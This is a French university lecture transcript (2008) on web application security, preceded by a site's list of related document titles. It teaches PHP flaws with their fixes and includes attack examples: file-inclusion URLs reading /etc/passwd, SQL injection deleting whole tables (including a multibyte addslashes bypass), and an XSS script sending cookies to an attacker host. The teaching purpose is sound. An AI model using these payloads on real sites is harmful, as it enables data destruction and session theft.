La sécurisation d applications



Documents pareils
Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

L3 informatique TP n o 2 : Les applications réseau

Vulnérabilités et sécurisation des applications Web

Hébergement de site web Damien Nouvel

Protection des protocoles

Un exemple d'authentification sécurisée utilisant les outils du Web : CAS. P-F. Bonnefoi

Programmation Internet Cours 4

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Vulnérabilités et solutions de sécurisation des applications Web

Les sites Internet dynamiques. contact : Patrick VINCENT pvincent@erasme.org

Programmation Web. Madalina Croitoru IUT Montpellier

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Architectures web/bases de données

Module BD et sites WEB

Le serveur HTTPd WASD. Jean-François Piéronne

Attaques applicatives

Serveurs de noms Protocoles HTTP et FTP

Installation d un serveur HTTP (Hypertext Transfer Protocol) sous Débian 6

INFORMATIQUE & WEB. PARCOURS CERTIFICAT PROFESSIONNEL Programmation de sites Web. 1 an 7 MODULES. Code du diplôme : CP09

Sécurité des réseaux Les attaques

Pratique et administration des systèmes

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Activité sur Meteor. Annexe 1 : notion de client-serveur et notion de base de données

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

Single Sign-On open source avec CAS (Central Authentication Service) Vincent Mathieu Pascal Aubry Julien Marchal

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

webmestre : conception de sites et administration de serveurs web 42 crédits Certificat professionnel CP09

Mysql. Les requêtes préparées Prepared statements

Stockage du fichier dans une table mysql:

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

Proxy et reverse proxy. Serveurs mandataires et relais inverses

Sécurité des applications web. Daniel Boteanu

Hébergement de sites Web

WebSSO, synchronisation et contrôle des accès via LDAP

Création d un «Web Worm»

(structure des entêtes)

Mac OS X Server Administration des technologies Web. Pour la version 10.3 ou ultérieure

les techniques d'extraction, les formulaires et intégration dans un site WEB

Firewall IDS Architecture. Assurer le contrôle des connexions au. Sécurité 1

WEB APPLICATION FIREWALL AVEC APACHE ET MOD_SECURITY

Internet. DNS World Wide Web. Divers. Mécanismes de base Exécution d'applications sur le web. Proxy, fire-wall

LINUX - Sécurité. Déroulé de l'action. - 3 jours - Contenu de formation

Cours CCNA 1. Exercices

Cisco Certified Network Associate

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009

Dans l'épisode précédent

La mémorisation des mots de passe dans les navigateurs web modernes

Présentation de la solution Open Source «Vulture» Version 2.0

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

Glossaire. ( themanualpage.org) soumises à la licence GNU FDL.

Réseaux et protocoles Damien Nouvel

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

L identité numérique. Risques, protection

Linux. Sécuriser un réseau. 3 e édition. l Admin. Cahiers. Bernard Boutherin Benoit Delaunay. Collection dirigée par Nat Makarévitch

Présentation du logiciel Free-EOS Server

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria

Introduction. PHP = Personal Home Pages ou PHP Hypertext Preprocessor. Langage de script interprété (non compilé)

Programmation Web. Introduction

Adresse directe fichier : Adresse url spécifique sur laquelle le lien hypertext du Client doit être

La Latecion protection anti-intrusion Web Web Le concept «Zero effort Security» La protection des applications Extranet

INTRODUCTION A JAVA. Fichier en langage machine Exécutable

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Mise en place d un serveur Proxy sous Ubuntu / Debian

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

Développement des Systèmes d Information

Services Réseaux - Couche Application. TODARO Cédric

Les solutions de paiement CyberMUT (Crédit Mutuel) et CIC. Qui contacter pour commencer la mise en place d une configuration de test?

Configuration du nouveau Bureau Virtuel (BV) collaboratif de Lyon I

Mise en œuvre des serveurs d application

Développement d applications Internet et réseaux avec LabVIEW. Alexandre STANURSKI National Instruments France

Hébergement WeboCube. Un système performant et sécurisé. Hébergement géré par une équipe de techniciens

Attaques de type. Brandon Petty

Application Web et J2EE

SERVEUR WEB LINUX LAMP. Raymond RAZAFIMAMONJY Administration LINUX / UNIX Chapitre 15

TIC. Réseau informatique. Historique - 1. Historique - 2. TC - IUT Montpellier Internet et le Web

Services sur réseaux. Trois services à la loupe. Dominique PRESENT Dépt S.R.C. - I.U.T. de Marne la Vallée

SQUID P r o x y L i b r e p o u r U n i x e t L i n u x

Les risques HERVE SCHAUER HSC

SQL Parser XML Xquery : Approche de détection des injections SQL

Réseaux. 1 Généralités. E. Jeandel

Formation Website Watcher

Bon ben voilà c est fait!

«Obad.a» : le malware Android le plus perfectionné à ce jour

Supplément de renseignements : Examens d applications et pare-feux d applications web clarifiés Normes : Normes en matière de sécurité des données de

1. La plate-forme LAMP

2. MAQUETTAGE DES SOLUTIONS CONSTRUCTIVES. 2.2 Architecture fonctionnelle d un système communicant.

PHP 5.4 Développez un site web dynamique et interactif

Impression de sécurité?

Fonctionnement et mise en place d un reverse proxy sécurisé avec Apache. Dimitri ségard 8 mai 2011

Sécuriser les applications web de l entreprise

L envoi d un formulaire par courriel. Configuration requise Mail Texte Mail HTML Check-list

18 TCP Les protocoles de domaines d applications

Linux sécurité des réseaux

NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web

Architectures en couches pour applications web Rappel : Architecture en couches

Transcription:

Université Toulouse 1 Sciences Sociales 10 mars 2008

Les firewalls ne suffisent plus Mais ont-ils jamais été suffisants? La protection à 100% n existe pas. De plus certains protocoles doivent absolument passer : Le web (HTTP et HTTPS) Le courrier électronique (SMTP, POP3, IMAP) Les protocoles réseaux (DNS, ICMP, etc.)

Problème générique des failles Les failles sont dues à l utilisation imprévue d une variable pour obtenir un comportement inattendu, mais contrôlé, plus ou moins correctement, par le pirate. Contrairement à ce que montre le cinéma, les intrusions sont dûes à plus de 90% à l utilisation de failles de sécurité, et non à un problème de mot de passe. étant souvent les seuls points accessibles, voyons comment cela peut se passer.

HTTP HTML Apache Fonctionnement d un serveur web Un serveur web c est 2 choses Un procotole de communication : le HTTP Hyper Text Tranfert Protocol Actuellement en version 1.1 Un langage de description de page : le HTML Hyper Text Markup Language Actuellement en version 4.0.1

HTTP HTML Apache HTTP Il s agit d un protocole connecté, basé sur TCP, qui utilise habituellement le port 80 Il existe une version chiffrée (HTTPS) qui utilise le protocole SSL. Elle tourne sur le port 443. Ce protocole définit la manière de communiquer des pages des ordres donnés par le client (GET, POST, HEAD, PROPFIND, etc.) et ensuite récupère le résultat, précédé d un état (200, 404, 500 etc.)

HTTP HTML Apache HTTP Coupe la connexion, dès que le fichier est transféré (contrairement au ftp par exemple) Chaque nouveau fichier implique une nouvelle connexion Depuis la version 1.1, le serveur peut maintenir la liaison (keepalive) pour une durée déterminée.

HTTP HTML Apache HTML HTML est un dérivé de SGML Utilise des balise de définition Permet de décrire des pages web statiques. CGI (Common Gateway Interface) permet de créer dynamiquement des pages

HTTP HTML Apache HTML : exemple de CGI Voici un exemple en shell d un programme CGI #!/bin/sh echo Content-type : text/html echo echo <HTML> echo <BODY> echo <H1>Titre 1</H1> echo test de cgi echo </BODY> echo </HTML>

HTTP HTML Apache HTML : de nombreux langages Tous les langages peuvent être utilisés pour créer des CGI. Mais certains sont plus adaptés que d autres : Pour accélérer les traitements (le lancement d un interpréteur à chaque appel) certains langages sont présents sous forme de modules directement intégrés dans apache : PHP (dédié au web) ASP (uniquement pour Windows) Perl (langage système qui se révèle très efficace) Python Ruby (et particulièrement Ruby on rails, avec ses capacités web 2.0)

HTTP HTML Apache Apache : historique Il est dérivé du serveur NCSA, à l aide de patches d où son nom a patchy server. Il représente entre 60 et 70 % des serveurs web dans le monde. 3 versions coexistent la 1.3 : historique la 2.0 : plus efficace la 2.2 : avec une séparation des authentifications et des autorisations.

HTTP HTML Apache Apache : environnement Du fait de sa popularité, de très nombreux modules ont été développés pour lui : en authentification en sécurité (mod ssl, mod security) en fonctionnalité (mod proxy, mod cband, etc.) Il bénéficie aussi de très nombreux langages en modules PHP est le plus connu mais aussi mod perl, mod python, etc.

Structure d un service web

19 points de vulnérabilités Du schéma précédent, on peut trouver 19 points de vulnérabilités : Les logiciels Les serveurs Les scripts Les modules Les OS Les matériels Les communications L utilisateur Les protocoles

Les types de paramètres Variables GET. Elles sont données dans l URL de demande Variables POST. Fournies par un formulaire. Variables Cookies. Variables conservées par le navigateur sur son disque dur et généralement fournies par le serveur. Variables SERVER (HTTP USER AGENT ou HTTP REFERER)

Les variables GET Contexte Décrites dans l URL http ://www.google.com/search?p=html&hl=fr Ici 2 variables p et hl, avec les valeurs html et fr. Généralement provenant d une interrogation directe Dans le cas présent, plutôt rare, il s agit d envoi par formulaire (method=get)

Les variables POST Contexte Remplies par un formulaire Utilisées quand on a un grand volume de données à envoyer Utilisées quand on a un grand nombre de variables Non tracées par les journaux des daemons (hormis modules spécifiques) Traitement particulier des variables Hidden qui sont cachées pour l utilisateur, mais pas pour le navigateur.

Les variables cookies Contexte Notion de valise de variables stockées sur le client Transmises de manière transparente dans la requête C est le serveur qui est sensé positionner ces variables pour une durée limitée Un serveur ne peut généralement (sauf faille de sécurité) demander à accéder qu aux variables : Qu il a lui-même positionnées Qu une machine de son domaine a positionnées (et si celle-ci l a autorise) Qu une machine d un domaine de confiance a positionnées (si celle-ci l a autorisé)

Les variables SERVER Contexte Ces variables sont hétéroclites. Celles que seul le serveur connait Version du serveur Répertoire de travail Celles qui sont associées à la connexion L adresse du client REMOTE ADDR L hôte appelé Le port source Celles qui proviennent du client Le Referer : HTTP REFERER Le USER AGENT L URL appelée

MUV : principe fondamental Ces variables proviennent quasiment toutes du client Il a donc tout pouvoir pour les modifier, effacer Les contrôles Javascript sont exécutés par le client ( s il le souhaite! ).

MUV : Quelques exemples Variables sur les noms de fichier (ou les répertoires) Variables dites superglobales Variables d exécution système Variables dans les requêtes SQL (ou LDAP, etc.) Variables pour du XSS

MUV : Sur les noms de fichiers Exemple d inclusion. Soit le programme de mise en page suivant <? include ( header.inc ) ; $page=$ GET[ page ] ; include ($page) ; include ( footer.inc ) ;?> Que l on utilise de la manière suivante Utilisation http ://192.168.30.72/php/mep.php?page=toto.txt

MUV : Sur les noms de fichiers Quelques attaques : Exemples simples d utilisation malveillantes http ://192.168.30.72/php/mep.php?page=/etc/passwd http ://192.168.30.72/php/mep.php?page=http ://cri.univtlse1.fr/creufop/hacker.inc On pourrait de la même manière utiliser les fonctions fopen, require, etc.

MUV :Solution Contexte Enlever les caractères dangereux <? If (eregi( /,$page) {die( Va jouer dans le mixer! )} include ( header.inc ) ; include ($page) ; include ( footer.inc ) ;?> On peut aussi utiliser La notion de safe-mode : http ://fr2.php.net/features.safe-mode Empêcher l utilisateur apache de sortir (avec un firewall en sortie)

MUV : Code s appelant avec un login en paramètre <? if (($login == toto ) ( $login == anon )) {$acces=true ;} if ($acces) {echo vous avez accès à la page ;} else {echo vous n avez pas accès à la page ;}?> Que fait-on pour avoir accès à la page si on ne connaît pas les login toto et anon?

MUV : : solution Il ne faut pas autoriser la création de ces variables, si cela est possible (certaines vieilles applications le nécessitent. Dans le fichier /etc/httpd/conf/httpd.conf register global=off Dans les applications $login=$ get[ login ] ; $login=$ post[ login ] ; $login=$ cookie[ login ] ; $login=$ server[ login ] ;

MUV : Les injections SQL (ou LDAP) Le SQL est un langage d interrogation de base de données. C est un véritable langage de programmation, avec ses fonctions, ses variables, ses commentaires. Le principe des appels SQL en WWW, est que le langage (PHP par exemple) crée une chaine de caractères (la commande SQL) qui est ensuite envoyée au SGBD. Le SGBD interprète et exécute le programme envoyé.

MUV : Les injections SQL (ou LDAP) Petit programme appelé avec en paramètre id http ://192.168.30.72/php/test.sql?id=3 Code du programme <? $sql query= DELETE FROM matable WHERE id=$id ; mysql connect($database) ; mysql query($database,$sql query) ;?>

MUV : Les injections SQL première attaque Les espaces doivent être remplacés par %20 http ://192.168.30.72/php/test.sql?id=3 OR 1=1 ce qui nous donne Chaine envoyée au SGBD DELETE FROM matable WHERE id=3 OR 1=1 Le résultat est la destruction de tous les enregistrements.

MUV : Les injections SQL première solution La première solution peut consister à modifier le programme en ajoutant des quotes Code du programme $sql query= DELETE FROM matable WHERE id= $id ; Le résultat de la première attaque devient alors Code du programme DELETE FROM matable WHERE id= 3 OR 1=1 qui est sans danger. Mais pourtant une faille existe encore

MUV : Les injections SQL deuxième attaque Insérons une quote http ://192.168.30.72/php/test.sql?id=3 OR 1=1 ce qui nous donne Chaine envoyée au SGBD DELETE FROM matable WHERE id= 3 OR 1=1 Le résultat est encore la destruction de tous les enregistrements.

MUV : Les injections SQL deuxième solution La solution va passer par 2 possibilités le magic quotes gpc à on (par défaut depuis la 4.2.0 pour PHP, mais il est désactivé dans PHP5, et disparait en PHP6) la fonction addslashes Code du programme $id=add slashes($id) ; $sql query= DELETE FROM matable WHERE id= $id ; L attaque précédente donne alors Chaine envoyée au SGBD DELETE FROM matable WHERE id= 3\ OR 1=1 Qui ne fait plus rien. Mais ce n est toujours pas fini. Une faille existe malgré cela.

MUV : Les injections SQL troisième attaque Le but de magic quotes gpc est à ON. Mais il a des problèmes avec les caractères dits multibytes : c est à dire les alphabets plus complexes (chinois par exemple) A la place de la quote, plaçons le caractère multibyte 0xbf27. Cela ne peut réellement se faire que par un script : Parlons chinois $id=chr(0xbf).chr(0x27). OR 1=1 ; fopen(http ://192.168.30.72/php/test.sql?id=$id) ;

MUV : Les injections SQL troisième attaque Le PHP reçoit un caractère chinois 0xbf27 (d ailleurs valide), et le comprend comme tel. Il l envoie à addslashes (ou à magic quotes gpc, ce qui est identique) Celui-ci ne comprenant pas que c est un caractère multibytes, croit voir 2 caractères : 0xbf et 0x27 qui est une quote. Il ajoute à 0x27 un antislash (0x5c). La chaine renvoyée à PHP est donc 0xbf5c27. Comme PHP comprend le multibyte, et que 0xbf5c est un caractère valide, il nous reste 0x27 qui est... la quote.

MUV : Les injections SQL troisième attaque On obtient alors la chaine suivante où? représente le caractère 0xbf5c : Chaine envoyée au SGBD DELETE FROM matable WHERE id= 3? OR 1=1 Le résultat est encore la destruction de tous les enregistrements. Solution : mysql real escape string().

MUV : Les variables de session Les variables de session permettent de mettre les variables habituellement mises en cookies, uniquement sur le serveur Cela évite de trimballer beaucoup d information On n a plus à les contrôler à chaque fois (elles ne sont plus modifiables) Seule reste une variable dans le cookie : celle qui contient le numéro de session. En général, cette variable est équivalente à un identifiant (on ne réauthentifie plus la personne). Pour un pirate, c est LE cookie à obtenir.

MUV : Voler un cookie : Attaque Soit un forum avec une zone de texte quelconque. Si on saisit Salut les potes, le cours est génial, le prof est <B>super</B>. Reviendez... On obtient donc Salut les potes, le cours est génial, le prof est super. Reviendez...

MUV : Voler un cookie : Problème Et si on saisit? <script> while (1) alert( Vas téter la prise électrique ) ; </script>

MUV : Voler un cookie : Problème Soyons plus méchant : Récupérons le cookie <script> cookie=document.cookie() ; i=new image() ; i.src= http ://www.pirate.com/?id= +cookie ; </script>

MUV : Voler un cookie : Solution Bloquer la chaine <script dans les messages.

MUV : Voler un cookie : Vraiment la solution? Comment s écrit script???? <script <javascript <JAVAscript <java script <java script etc.